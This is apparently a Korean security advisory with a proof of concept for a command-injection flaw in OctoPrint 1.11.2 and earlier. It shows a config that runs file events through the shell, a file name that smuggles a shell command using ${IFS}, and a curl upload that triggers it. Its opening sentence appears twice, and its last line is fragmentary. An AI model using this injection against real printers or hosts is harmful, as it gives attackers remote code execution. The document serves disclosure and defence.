
OctoPrint 버전 <=1.11.2에서 파일 업로드 액세스 권한(예: 유효한 API 키 또는 세션)이 있는 공격자는 삭제를 우회하는 악성 파일 이름을 만들 수 있으며, 이후 OctoPrint의 이벤트 시스템에 의해 실행되어 호스트에서 원격 코드 실행(RCE)이 발생합니다.
OctoPrint 버전 1.11.2 이하에서, 파일 업로드 접근 권한(예: 유효한 API 키 또는 세션)을 가진 공격자는 위생 처리를 우회하는 악성 파일명을 조작할 수 있으며, 이 파일명이 나중에 OctoPrint의 이벤트 시스템에 의해 실행되어 호스트에서 원격 코드 실행(RCE)이 발생합니다.
최신 안정 릴리스 다운로드: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
위 단계를 완료한 후 OctoPrint 서비스를 중지합니다.
OctoPrint 이벤트 문서를 참조하십시오:
~/.octoprint/config.yaml을 편집합니다:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"
/tmp/gcode/ok.gcode를 생성합니다:
; minimal gcode
G28
M105
OctoPrint 서비스를 다시 시작합니다.
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'설명: ${IFS}는 셸의 내부 필드 분리자(일반적으로 공백)입니다. 주입 시 위생 처리를 우회합니다.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123
/tmp/test123이 존재하면 주입된 명령어가 성공적으로 실행된 것이므로 → RCE 확인.
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
파일이 업로드되면:
;, ${IFS} 등 포함)이 셸로 전달됩니다.